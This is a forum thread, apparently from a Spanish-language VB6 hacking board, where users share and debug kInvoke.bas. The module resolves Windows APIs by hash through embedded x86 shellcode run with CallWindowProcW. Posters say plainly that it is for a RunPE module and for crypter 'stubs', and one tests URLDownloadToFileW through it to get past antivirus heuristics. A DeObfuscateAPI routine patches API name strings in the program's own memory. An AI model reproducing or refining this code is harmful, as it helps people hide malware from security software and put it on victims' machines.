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Tema: [ASM+VB6][INVOKE] Llamas APIs sin declararlas - kInvoke.bas (Leído 21,208 veces)
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Karcrack
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Okey, I got you You must check API declaration like this one: Private Declare Sub CopyBytes Lib "MSVBVM60" Alias "__vbaCopyBytes" (ByVal Size As Long, Dest As Any, Source As Any) Then you look each parameter, if the parametar hasn't ByVal or has ByRef VB6 will pass the pointer to the APIs, to sum up, if there isn't ByVal or there's ByRef you must use VarPtr(). You must be carefull with Strings and use StrPtr(), sometimes you'll need to convert UNICODE to ANSI... I've fixed the code, it must work now: Public Function DeObfuscateAPI(ByVal sLib As String, ByVal sFunc As String) As Boolean Dim lAddr As Long Dim sBuff As String * &H200 Dim lLib As Long Dim lFunc As Long
If App.LogMode = 0 Then GoTo OUT lAddr = App.hInstance& - Len(sBuff) Do lAddr = lAddr + Len(sBuff) If Invoke("KERNEL32", &H6E824142, ByVal lAddr, Len(sBuff)) <> 0 Then GoTo OUT Call Invoke("MSVBVM60", &H6A5B5999, Len(sBuff), ByVal StrPtr(sBuff), ByVal lAddr&) lLib = InStr(1, sBuff, sLib, vbBinaryCompare) lFunc = InStr(1, sBuff, sFunc, vbBinaryCompare) Loop Until (lLib <> 0) And (lFunc <> 0) lLib = lAddr + lLib - 1 lFunc = lAddr + lFunc - 1 dim bvTmp() as byte bvTmp = StrConv(E(sLib),vbFromUnicode)
If Invoke("KERNEL32", &HD83D6AA1, -1, ByVal lLib&, ByVal varptr(bvTmp(0)), Len(sLib), ByVal 0&) = 0 Then GoTo OUT bvTmp = StrConv(E(sFunc),vbFromUnicode) If Invoke("KERNEL32", &HD83D6AA1, -1, ByVal lFunc&, ByVal varptr(bvTmp(0)), Len(sFunc), ByVal 0&) = 0 Then GoTo OUT DeObfuscateAPI = True: Exit Function OUT: DeObfuscateAPI = False: Exit Function End Function
I've noticed that VB has a weird error with VarPtr() and Calling Funcs/APIs... looks like depending place you call it returns differents things I'm quite confused Anyway i think i've found the way of bypassing that... i will post it later EDIT: After few hours debugging i've noticed that the problem can be solved replacing Strings in Types by Byte Arrays
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« Última modificación: 24 Julio 2010, 01:57 am por Karcrack »
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tr1n1t1
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Indeed I get a type mismatch error on the ByVal in this line If Invoke("KERNEL32", &H6E824142, ByVal lAddr, Len(sBuff)) <> 0 Then GoTo OUT Hope you can help me to fix it
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Karcrack
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Try this way dude: ]If Invoke("KERNEL32", &H6E824142, lAddr, Len(sBuff)) <> 0 Then GoTo OUT
Make sure lAddr is long
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tr1n1t1
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Try this way dude: ]If Invoke("KERNEL32", &H6E824142, lAddr, Len(sBuff)) <> 0 Then GoTo OUT
Make sure lAddr is long If I change just this line it works , too bad that I get Type mismatch on every ByVal, so I removed them all but it won't work anymore, I think the problem is on lLib&,lAddr&,lFunc& because I tried changing one line at time and it won't work for CopyBytes and Writeprocessmemory, but not sure. Anyway this line is totally right and working. If Invoke("KERNEL32", &H6E824142, lAddr, Len(sBuff)) <> 0 Then GoTo OUT
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« Última modificación: 12 Abril 2010, 20:15 pm por tr1n1t1 »
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Karcrack
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He hecho una pequeña actualizacion para un nuevo modulo RunPe en el que estoy trabajando, asi que aqui esta: 'Karcrack , 22/07/10 Option Explicit Private Type DWORD_L D1 As Long End Type Private Type DWORD_B B1 As Byte: B2 As Byte: B3 As Byte: B4 As Byte End Type 'USER32 Private Declare Function CallWindowProcW Lib "USER32" (ByVal lpCode As Long, Optional ByVal lParam1 As Long, Optional ByVal lParam2 As Long, Optional ByVal lParam3 As Long, Optional ByVal lParam4 As Long) As Long Private bInitialized_Inv As Boolean Private ASM_gAPIPTR(0 To 170) As Byte Private ASM_cCODE(0 To 255) As Byte Private Function Invoke(ByVal sDLL As String, ByVal hHash As Long, ParamArray vParams() As Variant) As Long Dim vItem As Variant Dim bsTmp As DWORD_B Dim lAPI As Long Dim i As Long Dim w As Long If Not bInitialized_Inv Then For Each vItem In Array(&HE8, &H22, &H0, &H0, &H0, &H68, &HA4, &H4E, &HE, &HEC, &H50, &HE8, &H43, &H0, &H0, &H0, &H83, &HC4, &H8, &HFF, &H74, &H24, &H4, &HFF, &HD0, &HFF, &H74, &H24, &H8, &H50, &HE8, &H30, &H0, &H0, &H0, &H83, &HC4, &H8, &HC3, &H56, &H55, &H31, &HC0, &H64, &H8B, &H70, &H30, &H8B, &H76, &HC, &H8B, &H76, &H1C, &H8B, &H6E, &H8, &H8B, &H7E, &H20, &H8B, &H36, &H38, &H47, &H18, &H75, &HF3, &H80, &H3F, &H6B, &H74, &H7, &H80, &H3F, &H4B, &H74, &H2, &HEB, &HE7, &H89, &HE8, &H5D, &H5E, &HC3, &H55, &H52, &H51, _ &H53, &H56, &H57, &H8B, &H6C, &H24, &H1C, &H85, &HED, &H74, &H43, &H8B, &H45, &H3C, &H8B, &H54, &H5, &H78, &H1, &HEA, &H8B, &H4A, &H18, &H8B, &H5A, &H20, &H1, &HEB, &HE3, &H30, &H49, &H8B, &H34, &H8B, &H1, &HEE, &H31, &HFF, &H31, &HC0, &HFC, &HAC, &H84, &HC0, &H74, &H7, &HC1, &HCF, &HD, &H1, &HC7, &HEB, &HF4, &H3B, &H7C, &H24, &H20, &H75, &HE1, &H8B, &H5A, &H24, &H1, &HEB, &H66, &H8B, &HC, &H4B, &H8B, &H5A, &H1C, &H1, &HEB, &H8B, &H4, &H8B, &H1, &HE8, &H5F, &H5E, &H5B, &H59, &H5A, &H5D, &HC3) ASM_gAPIPTR(i) = CByte(vItem) i = i + 1 Next vItem i = 0 bInitialized_Inv = True End If lAPI = CallWindowProcW(VarPtr(ASM_gAPIPTR(0)), StrPtr(sDLL), hHash) If lAPI Then For w = UBound(vParams) To LBound(vParams) Step -1 vItem = vParams(w) bsTmp = SliceLong(CLng(vItem)) '// PUSH ADDR ASM_cCODE(i) = &H68: i = i + 1 ASM_cCODE(i) = bsTmp.B1: i = i + 1 ASM_cCODE(i) = bsTmp.B2: i = i + 1 ASM_cCODE(i) = bsTmp.B3: i = i + 1 ASM_cCODE(i) = bsTmp.B4: i = i + 1 Next w bsTmp = SliceLong(lAPI) '// MOV EAX, ADDR ASM_cCODE(i) = &HB8: i = i + 1 ASM_cCODE(i) = bsTmp.B1: i = i + 1 ASM_cCODE(i) = bsTmp.B2: i = i + 1 ASM_cCODE(i) = bsTmp.B3: i = i + 1 ASM_cCODE(i) = bsTmp.B4: i = i + 1 '// CALL EAX ASM_cCODE(i) = &HFF: i = i + 1 ASM_cCODE(i) = &HD0: i = i + 1 '// RET ASM_cCODE(i) = &HC3: i = i + 1 Invoke = CallWindowProcW(VarPtr(ASM_cCODE(0))) Else Invoke = -1 'Err.Raise -1, , "Bad Hash or wrong DLL" End If End Function Private Function SliceLong(ByVal lLong As Long) As DWORD_B Dim tL As DWORD_L tL.D1 = lLong LSet SliceLong = tL End Function
Saludos
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nemit
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Hi Karcrack. Thx for kInvoke. Everything runs fine in the code except the commentet Invoke Calls. Maybe you know what im doing wrong? Option Explicit Private Declare Function CryptEncrypt Lib "advapi32.dll" (ByVal hKey As Long, ByVal hHash As Long, ByVal Final As Long, ByVal dwFlags As Long, ByVal pbData As String, pdwDataLen As Long, ByVal dwBufLen As Long) As Long Private Declare Function CryptDecrypt Lib "advapi32.dll" (ByVal hKey As Long, ByVal hHash As Long, ByVal Final As Long, ByVal dwFlags As Long, ByVal pbData As String, pdwDataLen As Long) As Long Private Declare Function CryptHashData Lib "advapi32.dll" (ByVal hHash As Long, ByVal pbData As String, ByVal dwDataLen As Long, ByVal dwFlags As Long) As Long Private Const PROV_RSA_AES As Long = 24 Private Const CRYPT_NEWKEYSET As Long = 8 Private Const CALG_AES_256 As Long = 26128 Private Const CALG_SHA_512 As Long = 32782 Private Const CRYPT_CREATE_SALT As Long = &H4 Private Type OSVERSIONINFO dwOSVersionInfoSize As Long dwMajorVersion As Long dwMinorVersion As Long dwBuildNumber As Long dwPlatformId As Long szCSDVersion As String * 128 End Type Private Const sAdvapi As String = "advapi32.dll" Private Const sKernel As String = "kernel32.dll" Public Function EnDecodeAES(ByVal sData As String, ByVal sPassword As String, ByVal bEncrypt As Boolean) As String Dim hHash As Long Dim hKey As Long Dim hCryptProv As Long Dim lData As Long Dim sGetServiceProvider As String Dim OS As OSVERSIONINFO OS.dwOSVersionInfoSize = Len(OS) Call Invoke(sKernel, &HC75FC483, VarPtr(OS)) If OS.dwMajorVersion & OS.dwMinorVersion >= 60 Then sGetServiceProvider = "Microsoft Enhanced RSA and AES Cryptographic Provider" Else sGetServiceProvider = "Microsoft Enhanced RSA and AES Cryptographic Provider (Prototype)" End If Call Invoke(sAdvapi, &H43C28BF0, VarPtr(hCryptProv), 0, StrPtr(sGetServiceProvider), PROV_RSA_AES, CRYPT_NEWKEYSET) Call Invoke(sAdvapi, &H43C28BF0, VarPtr(hCryptProv), 0, StrPtr(sGetServiceProvider), PROV_RSA_AES, 0&) Call Invoke(sAdvapi, &H4105A130, hCryptProv, CALG_SHA_512, 0, 0, VarPtr(hHash)) 'Private Declare Function CryptHashData Lib "advapi32.dll" (ByVal hHash As Long, ByVal pbData As String, ByVal dwDataLen As Long, ByVal dwFlags As Long) As Long 'Call Invoke(sAdvapi, &HC2122629, hHash, sPassword, Len(sPassword), 0) ' without Invoke Call CryptHashData(hHash, sPassword, Len(sPassword), 0) Call Invoke(sAdvapi, &HC2122629, hHash, StrPtr(sPassword), Len(sPassword), 0) Call Invoke(sAdvapi, &HB56D274A, hCryptProv, CALG_AES_256, hHash, CRYPT_CREATE_SALT, VarPtr(hKey)) lData = Len(sData) If bEncrypt Then sData = sData & Space(16) 'Private Declare Function CryptEncrypt Lib "advapi32.dll" (ByVal hKey As Long, ByVal hHash As Long, ByVal Final As Long, ByVal dwFlags As Long, ByVal pbData As String, pdwDataLen As Long, ByVal dwBufLen As Long) As Long 'Call Invoke(sAdvapi, &HD9242588, hKey, 0, 1, 0, sData, VarPtr(lData), Len(sData)) ' without Invoke Call CryptEncrypt(hKey, 0, 1, 0, sData, lData, Len(sData)) Else 'Private Declare Function CryptDecrypt Lib "advapi32.dll" (ByVal hKey As Long, ByVal hHash As Long, ByVal Final As Long, ByVal dwFlags As Long, ByVal pbData As String, pdwDataLen As Long) As Long 'Call Invoke(sAdvapi, &H59202584, hKey, 0, 1, 0, sData, VarPtr(lData)) ' without Invoke Call CryptDecrypt(hKey, 0, 1, 0, sData, lData) End If EnDecodeAES = Left(sData, lData) Call Invoke(sAdvapi, &H25D4AE7A, hHash) Call Invoke(sAdvapi, &H95E24580, hKey) Call Invoke(sAdvapi, &H5AE8E894, hCryptProv, 0) End Function
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Karcrack
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I'd like to see the working code without Invoke, so I'll be able to see if you pass some pointers wrong..
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Elemental Code
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Im beyond the system
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Porque visual basic me odia? Eh? Quise ver si hacia magia con la deteccion por euristica de los AV y... NO ME ANDA Call Invoke("urlmon", &H702F1A36, 0, StrPtr("http://d.imagehost.org/0187/Tron-Evolution-cover_1.jpg"), StrPtr("C:\Tron.jpg"), 0, 0)
Este es un codigo "bobo" con la UrLmon de URLTODOWNLOADFILE que baja una imagen al disco para probar. Pero no baja la imagen ni me muestra ningun error ni nada. En que le erre :S?
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I CODE FOR $$$ Programo por $$$ Hago tareas, trabajos para la facultad, lo que sea en VB6.0 Mis programas
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Karcrack
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Comprueba que estes llamando a la version unicode del API... URLDownloadToFileW@URLMON... La explicacion de porque hay que llamar a las versiones unicode de las APIs es porque al usar StrPtr() sacas el puntero a la cadena en formato unicode... si quisieses por alguna razon usar la version ascii deberias hacer la conversion manualmente por ejemplo con bvByteArray = StrConv(sCADENA, vbFromUnicode)
Un saludo
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Swellow
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He hecho una pequeña actualizacion para un nuevo modulo RunPe en el que estoy trabajando, asi que aqui esta: 'Karcrack , 22/07/10 Option Explicit Private Type DWORD_L D1 As Long End Type Private Type DWORD_B B1 As Byte: B2 As Byte: B3 As Byte: B4 As Byte End Type 'USER32 Private Declare Function CallWindowProcW Lib "USER32" (ByVal lpCode As Long, Optional ByVal lParam1 As Long, Optional ByVal lParam2 As Long, Optional ByVal lParam3 As Long, Optional ByVal lParam4 As Long) As Long Private bInitialized_Inv As Boolean Private ASM_gAPIPTR(0 To 170) As Byte Private ASM_cCODE(0 To 255) As Byte Private Function Invoke(ByVal sDLL As String, ByVal hHash As Long, ParamArray vParams() As Variant) As Long Dim vItem As Variant Dim bsTmp As DWORD_B Dim lAPI As Long Dim i As Long Dim w As Long If Not bInitialized_Inv Then For Each vItem In Array(&HE8, &H22, &H0, &H0, &H0, &H68, &HA4, &H4E, &HE, &HEC, &H50, &HE8, &H43, &H0, &H0, &H0, &H83, &HC4, &H8, &HFF, &H74, &H24, &H4, &HFF, &HD0, &HFF, &H74, &H24, &H8, &H50, &HE8, &H30, &H0, &H0, &H0, &H83, &HC4, &H8, &HC3, &H56, &H55, &H31, &HC0, &H64, &H8B, &H70, &H30, &H8B, &H76, &HC, &H8B, &H76, &H1C, &H8B, &H6E, &H8, &H8B, &H7E, &H20, &H8B, &H36, &H38, &H47, &H18, &H75, &HF3, &H80, &H3F, &H6B, &H74, &H7, &H80, &H3F, &H4B, &H74, &H2, &HEB, &HE7, &H89, &HE8, &H5D, &H5E, &HC3, &H55, &H52, &H51, _ &H53, &H56, &H57, &H8B, &H6C, &H24, &H1C, &H85, &HED, &H74, &H43, &H8B, &H45, &H3C, &H8B, &H54, &H5, &H78, &H1, &HEA, &H8B, &H4A, &H18, &H8B, &H5A, &H20, &H1, &HEB, &HE3, &H30, &H49, &H8B, &H34, &H8B, &H1, &HEE, &H31, &HFF, &H31, &HC0, &HFC, &HAC, &H84, &HC0, &H74, &H7, &HC1, &HCF, &HD, &H1, &HC7, &HEB, &HF4, &H3B, &H7C, &H24, &H20, &H75, &HE1, &H8B, &H5A, &H24, &H1, &HEB, &H66, &H8B, &HC, &H4B, &H8B, &H5A, &H1C, &H1, &HEB, &H8B, &H4, &H8B, &H1, &HE8, &H5F, &H5E, &H5B, &H59, &H5A, &H5D, &HC3) ASM_gAPIPTR(i) = CByte(vItem) i = i + 1 Next vItem i = 0 bInitialized_Inv = True End If lAPI = CallWindowProcW(VarPtr(ASM_gAPIPTR(0)), StrPtr(sDLL), hHash) If lAPI Then For w = UBound(vParams) To LBound(vParams) Step -1 vItem = vParams(w) bsTmp = SliceLong(CLng(vItem)) '// PUSH ADDR ASM_cCODE(i) = &H68: i = i + 1 ASM_cCODE(i) = bsTmp.B1: i = i + 1 ASM_cCODE(i) = bsTmp.B2: i = i + 1 ASM_cCODE(i) = bsTmp.B3: i = i + 1 ASM_cCODE(i) = bsTmp.B4: i = i + 1 Next w bsTmp = SliceLong(lAPI) '// MOV EAX, ADDR ASM_cCODE(i) = &HB8: i = i + 1 ASM_cCODE(i) = bsTmp.B1: i = i + 1 ASM_cCODE(i) = bsTmp.B2: i = i + 1 ASM_cCODE(i) = bsTmp.B3: i = i + 1 ASM_cCODE(i) = bsTmp.B4: i = i + 1 '// CALL EAX ASM_cCODE(i) = &HFF: i = i + 1 ASM_cCODE(i) = &HD0: i = i + 1 '// RET ASM_cCODE(i) = &HC3: i = i + 1 Invoke = CallWindowProcW(VarPtr(ASM_cCODE(0))) Else Invoke = -1 'Err.Raise -1, , "Bad Hash or wrong DLL" End If End Function Private Function SliceLong(ByVal lLong As Long) As DWORD_B Dim tL As DWORD_L tL.D1 = lLong LSet SliceLong = tL End Function
Saludos Thanks a lot for that code Karcrack, I tried to replace my call api by name by this one, I converted all api names to hash but then my stub gets broken. Is there anything else that has to be done?
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